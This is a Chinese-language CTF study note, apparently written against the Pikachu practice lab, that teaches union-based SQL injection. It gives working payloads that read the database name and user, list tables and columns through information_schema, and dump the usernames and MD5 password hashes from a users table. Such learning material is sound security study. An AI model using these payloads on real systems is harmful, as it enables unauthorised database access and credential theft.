ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509
程序员文章站
2022-05-15 09:54:53
...
union 联合查询:
可以通过联合查询来查询指定的数据
用法举例:
select username,password from user where id=1 unionselect 字段1,字段2 from 表名
联合查询的字段数需要和主查询一致!‘
如何确定字段数??-》order by了解一下吧
然后,
用union查询又有什么用呢?
用union的目的是为了获得更多的信息,
说实话,获得那些什么名字的破信息根本没什么鸟用。
要拿到更多的数据库私隐,了解多一点。
那么就会引进一个重要的:库:
information_schema
这个库是可以形象地比喻成国家机密机构,
里面有很多重要的表。
比如:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。
详细表述了某个表属于哪个schema,表类型, 表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
那么可以利用这个库进行查询:
**出想要的东西:
案例:
先找出个构成union的前提先,
再询问一下该表名字,类型之类的:
kobe ' union select database(),user()#
然后知道了表名:
pikachu
用schema去查:
构造:
kobe' union select table_schema,table_name from information_schema.tables
(注意.tables是跨库查询,是支持的)
where table_name='pikachu'#
得出:
合理猜测,
要的密码和用户信息在这里。
接着
columns登场了
里面有表的列的信息,
应该用视图,存放的吧。
查询语句如下/:
kobe' union select column_name,table_name from information_schema.columns
where table_name='users'#
ojbk:
快解决了,
知道列和表,一查就出来了:
kobe' union select username,password from users#
一看就知道是md5加密
解个密就好。